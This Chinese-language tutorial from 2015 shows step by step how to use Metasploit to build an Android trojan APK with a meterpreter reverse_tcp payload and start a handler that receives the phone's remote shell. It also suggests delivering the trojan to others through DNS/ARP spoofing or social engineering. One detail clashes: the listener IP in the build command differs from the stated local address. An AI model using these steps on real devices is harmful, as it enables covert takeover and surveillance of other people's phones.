MSF入侵安卓手機(jī) MSF又是什么

發(fā)布時(shí)間：2015-12-17 16:06:28 作者：佚名

這篇文章主要介紹了MSF入侵安卓手機(jī)的詳細(xì)過(guò)程，又介紹了MSF是什么、以及作用，感興趣的小伙伴們可以參考一下

MSF是Metasploit的簡(jiǎn)稱，Metasploit是一款開源的安全漏洞檢測(cè)工具，非常強(qiáng)大，分別有Windows版和Linux版，工具里集成了許多微軟公布的漏洞(0day)。

我這里做測(cè)試的系統(tǒng)是Backbox linux ，這是一款網(wǎng)絡(luò)滲透，信息安全評(píng)估系統(tǒng)。里邊安裝了許許多多的工具。其中MSF就自帶有。當(dāng)然還有其它的比如Kali linux 、Back Track這些等等。

環(huán)境：Backbox linux+MSF

目標(biāo)：一臺(tái)安卓手機(jī)

既然是入侵安卓手機(jī)，肯定要先配置一個(gè)安卓木馬，那我們看看本機(jī)的IP

本機(jī)IP：192.168.1.6

在到終端輸入命令：msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk

以前的MSF老版本是用msfpayload生成木馬現(xiàn)在在新版本中都用msfvenom代替了，所以有些朋友在終端輸入msfpayload的時(shí)候會(huì)提示

msfpayload無(wú)法找到命令所以使用msfvenom即可，這里L(fēng)HOST 對(duì)應(yīng)的是本機(jī)的IP地址 LPORT對(duì)應(yīng)你要監(jiān)聽的端口然后生成木馬的路徑

這樣我們就在/root/路徑下生成了一個(gè)APK的安卓木馬文件，至于木馬的免殺暫且不談?，F(xiàn)在我們?cè)趤?lái)啟動(dòng)MSF工具

輸入命令：msfconsole

然后輸入：

1. use exploit/multi/handler 加載模塊

2.set payload android/meterpreter/reverse_tcp 選擇Payload

3.show options 查看參數(shù)設(shè)置

我們看見payload里邊有兩個(gè)參數(shù)要設(shè)置 LHOST和LPORT 表示地址和端口默認(rèn)的端口是4444 現(xiàn)在我們來(lái)更改設(shè)置

1.set LHOST 192.168.1.6 這里的地址設(shè)置成我們剛才生成木馬的IP地址

2.set LPORT 5555 這里的端口設(shè)置成剛才我們生成木馬所監(jiān)聽的端口

3.exploit 開始執(zhí)行漏洞開始監(jiān)聽...

OK，一切準(zhǔn)備工作準(zhǔn)備就緒。?！，F(xiàn)在要做的就是把木馬文件搞到人家的手機(jī)上，思路有很多可以DNS arp劫持欺騙只要對(duì)方用手機(jī)下載文件就會(huì)下載我們的木馬文件

還有社工什么等等的，這里我就簡(jiǎn)單的把木馬文件弄我自己的手機(jī)上做測(cè)試

安裝完成后會(huì)在桌面上生成一個(gè)MainActivity的程序圖標(biāo) 這個(gè)就是我們剛才生成的木馬當(dāng)我們點(diǎn)擊了這個(gè)圖標(biāo) 手機(jī)會(huì)沒有任何反應(yīng) 其實(shí)木馬已經(jīng)開始運(yùn)行起來(lái)了

我們可以在我們的MSF里看見有一個(gè)會(huì)話連接了